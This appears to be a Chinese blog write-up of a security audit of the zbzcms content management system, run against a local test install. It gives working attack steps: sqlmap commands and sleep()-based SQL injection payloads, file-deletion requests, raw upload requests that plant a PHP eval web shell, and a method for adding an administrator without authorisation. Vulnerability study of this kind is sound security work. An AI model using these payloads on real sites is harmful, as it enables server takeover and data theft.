zbzcms代码审计
zbzcms审计
自己的一个简单记录,可能写的有点混乱,欢迎师傅们指出。
环境搭建
http://127.0.0.1/zbzcms/cms/cms/install/index.php
直接可以自动安装好
正常前台界面
开始
初次学习,就跟着师傅的文章一步步来,正常第一步就seay扫一遍
1、任意文件删除
$run传入,并没有做删除的校验判断
右键全文跟踪
跟到
get传入,up.php 的路径就是:/cms/cms/include/up.php?run=del
get请求一下路径:
还是很简单的一个逻辑,post传入url路径,因为没做任何校验,传入url对应文件即可删除
在绝对路径下手动建一个1.txt
post请求就是url=1.txt
发送请求后返回1,文件已经被删除了
其他目录就正常构造即可
一样可以删除
还有一个点也是,类似的逻辑,不多分析
2、sql注入
1
未过滤单引号,可能存在注入
在ajax.php的头部是引用了sql文件的
跟进看看,正常的增删改查
开头有一个处理函数
但是未添加过滤
然后在增加数据和修改数据部分存在这个处理函数
那么传入参数的路由也很清晰了
直接构造sql语句测试即可
sqlmap测试
python sqlmap.py -u "http://127.0.0.1/zbzcms/cms/common/php/ajax.php?run=dj&id=1" -p id
2
看到这里好像审计还是在我可接受范围内的
下面就自己尝试去分析
/include/make.php存在注入,和上一个注入一样,art参数传入,未做引号处理
sleep()测试下
很明显了就
sqlmap跑一下
python sqlmap.py -u "http://127.0.0.1/zbzcms/cms/cms/include/make.php?php=1&art=1" -p art
3
同样的可控参数传入,tid是可控的,保证laiyuan==0进入if语句
3)%20and%20sleep(1)%23
select id from art where (tid=$tid and fabushijian=1) order by id asc limit 1
右括号闭合一下语句
测试的时候发现有的tid是无法注入的,例如tid=1,这里需要数据库中存在这个tid的值才行
4
比较明显了
http://127.0.0.1/zbzcms/cms/common/php/ajax.php?run=ad&id=1%20and%20sleep(1)
3、文件上传
1、
zbzcms/cms/common/php/upload.php
扫描出的文件中还很多提示文件上传,一一来看
看到文件上传部分的代码
eles存在文件后缀校验,但是参数name==1时直接跳过了,那么就可以直接构造post包进行上传了,构造一个post上传
POST /zbzcms/cms/common/php/upload.php?path=./&name=1&id=1 HTTP/1.1
Host: 127.0.0.1
Content-Length: 231
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryqwBQidHCCHB076er
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,is;q=0.8,zh-TW;q=0.7
Cookie: PHPSESSID=utnoq283ip9p4fuu5dfm56qmo5
Connection: close------WebKitFormBoundaryqwBQidHCCHB076er
Content-Disposition: form-data; name="0"; filename="1.php"
Content-Type: application/octet-streamyzl
<?php @eval($_POST['a']); phpinfo();?>
------WebKitFormBoundaryqwBQidHCCHB076er--
http://127.0.0.1/zbzcms/cms/common/php/1.php
2、
/zbzcms/cms/cms/include/upload.php
和上面的文件一样
没什么好说的,直接构造路径上传
POST /zbzcms/cms/cms/include/upload.php?path=./&name=1&id=1 HTTP/1.1
Host: 127.0.0.1
Content-Length: 231
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryqwBQidHCCHB076er
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,is;q=0.8,zh-TW;q=0.7
Cookie: PHPSESSID=utnoq283ip9p4fuu5dfm56qmo5
Connection: close------WebKitFormBoundaryqwBQidHCCHB076er
Content-Disposition: form-data; name="0"; filename="1.php"
Content-Type: application/octet-streamyzl
<?php @eval($_POST['a']); phpinfo();?>
------WebKitFormBoundaryqwBQidHCCHB076er--
http://127.0.0.1/zbzcms/cms/cms/include/1.php
3、
http://127.0.0.1/zbzcms/cms/cms/include/up.php
构造就行了,代码很好懂
filename=0|1来控制文件命名,0就输出目标地址和原文件名,1根据时间输出文件名
问题一:有的站点上传的文件是根据时间生成,返回上传成功不返回文件名,如何构造?
4、
/cms/cms/zbzedit/php/zbz.php
同样不存在过滤,直接构造
成功上传
5、
http://127.0.0.1/zbzcms/cms/cms/admin/run_ajax.php
后台洞
同样的,没有任何过滤
这里是后台洞,显然没有登陆验证,后续会提到
4、存储型xss
无过滤输出到页面且存储进了数据库,直接构造
后台访问下就执行了
5、任意文件写入
全局搜索:file_put_contents
判断的run参数 然后获取post传参的值,再判断魔术引号开关是否开启,如果开启 在用stripslashes() 函数把反斜杠删去。
跟着师傅的文章一步步看,才发现刚刚的文件上传还有这个文件写入,都是后台文件,但是没有验证,
翻到上面的登陆处
验证函数是if($run==‘paiming_du’) ,确实,和没有一样,run的值都构造成别的了,不就直接跳过验证了
构造就可以写入文件了
上面好像还有个文件上传
这个前文也提到过了,不多分析,单独审一个文件可能会发现很多洞的
还有个文件,一样的上传
这里不多赘述,和上文中的一样的逻辑
7、管理员添加
看到判断登陆验证的下面,有个表的增删改查
这里可以直接自己指定表,可以直接未授权添加管理员账号或者修改了,那么问题来了,表名和表中的列名不知道啊,
看登陆验证处
admin表,guanliyuan、mima列
直接添加后可以添加到数据库中
但是好像少了表中的列参数无法登陆
再看到if判断
如果管理员数量大于0,还有id列和dengji列,一并在post数据中添加上,但是还不行
第二处管理员添加:
继续翻翻代码
emmm,一目了然了,这里应该是真正的添加管理员的功能处吗,还有个chuangjianshijian列,虽然在数据库李已经看到了,但还是从代码的角度来看
后续发现只需要等级处不为空即可,然后传入的密码是md5(md5($pass)): 加密值才能登陆成功
其他的删除和修改逻辑和添加是一样的不继续分析
还有一种利用session去登陆,在师傅文章中有提到 参考:https://forum.butian.net/share/1215
结束
差不多就这些,后续有发现继续补充
zbzcms代码审计相关推荐
- php发卡_发卡网代码审计
前言 好胸弟柠枫昨天dd了我一下,这不,叫我一起审计发卡的cms 君无戏言,最近也在整二进制,当然要跟我的好胸弟一起组队py一下,不知道我都多久没审了,吐 咱语文也不是很好,各位看官就将就着看看就好, ...
- xss跳转代码_从某cms的xss漏洞来学习代码审计
原创: xiaoyuer 合天智汇 各位大佬好,小弟的文章主要是通过针对具体的cms(内容管理系统)对一些基本的web漏洞进行挖掘和代码审计,这样学习起来能够理解的更加深刻.如有写的不对的地方请轻拍. ...
- sql 找到上一次_记一次对XXCMS的代码审计
前言 之前一直在做PHP.JAVA的代码审计,从来没接触过ASP.NET编写的系统,前段时间在挖漏洞的过程中遇到了一个CMS是用.NET编写的,正好拿来练练手,本篇文章是我第一次写有关ASP.NET的 ...
- php代码审计工具_【学习笔记】PHP代码审计入门:代码审计实例2
第 35 课 代码审计实例之任意文件上传 课程入口(付费) 个人背景 李,本科,电子信息工程专业,毕业一年半,有JavaScript的,PHP,Python的语言基础,目前自学网络安全中. ...
- 代码审计-四叶草杯线下awd比赛源码web2
今晚简单来看看那天比赛的源码吧,比赛的时候还是有些慌没有好好去静下心看代码. awd给的题中的漏洞,都是那种可以快速让你利用拿到权限后得到flag的那种,特别复杂利用的一般没有. 建议先黑盒去尝试,例 ...
- 【代码审计】使用SonarQube进行代码质量分析管理
2019独角兽企业重金招聘Python工程师标准>>> 在之前的开发中,代码的工作量化和质量化都是一个问题,随着近几年互联网行业的快速发展,代码已经可以来工作量化和质量化,今天我们来 ...
- 一次代码审计实战案例【思路流程】
前言: 利用这个 CMS 看看能不能挖到漏洞,运气还是不错的挖到了两个,分别是 SSRF 与文件覆盖 GETSHELL,下面给大家讲解一下这次审计的思路过程.该 CMS 版本是 4.2.以下漏洞均被 ...
- 【网络安全】JAVA代码审计—— XXE外部实体注入
一.WEB安全部分 想要了解XXE,在那之前需要了解XML的相关基础 二.XML基础 2.1 XML语法 所有的XML元素都必须有一个关闭标签 XML标签对大小写敏感 XML必须正确嵌套 XML 文档 ...
- 【网络安全】xhCMS代码审计思路
前言 最近想提升一下自己的代审能力,虽然之前复现分析了挺多漏洞的,TP,Laravel,Typcho,yii,但一直感觉对代码审计能力提升用处不太大,很多时候链子和利用点都非常简单,可是如何发现的这确 ...
最新文章
- Docker 安装MySQL以及外部访问
- CDN简介及linux环境下搭建
- NSLocalizedString不起作用
- ibatise 没有大于等于吗_农村房屋没有证等于违法建筑吗?下面三个时间点记住,小心被忽悠...
- 文件的删除和文件信息的读取
- python opencv 直方图均衡_详解python OpenCV学习笔记之直方图均衡化
- mysql用any查询_mysql 5.6有ANY_VALUE功能吗?
- c语言字符型运算符,C语言试题:数据类型、运算符与表达式
- Android学习系列(11)--App列表之拖拽ListView(下)
- js日期减一个月_正正正国庆!折上再减!三亚/香格里拉/稻城/拈花湾,最低499元…...
- Noisy machines: understanding noisy NNs and enhancing robustness to analog hardware errors
- 实在没忍住还是对你出手了-Tom猫源码结构
- 【工具】Hosts文件详解
- 二叉树、满二叉树、完全二叉树、平衡二叉树、二叉排序树、线索二叉树
- 【WSL2】ubuntu22.04 安装docker
- (一) Marlin-2.1.x 源码解析:G-Code指令的接收、解析与执行
- vim保存分享录制宏
- Latex 表格 tabularx自动换行
- “天才少年”!华中科技大学这一研究生,刚毕业年薪201万!
- Windows 服务程序(一)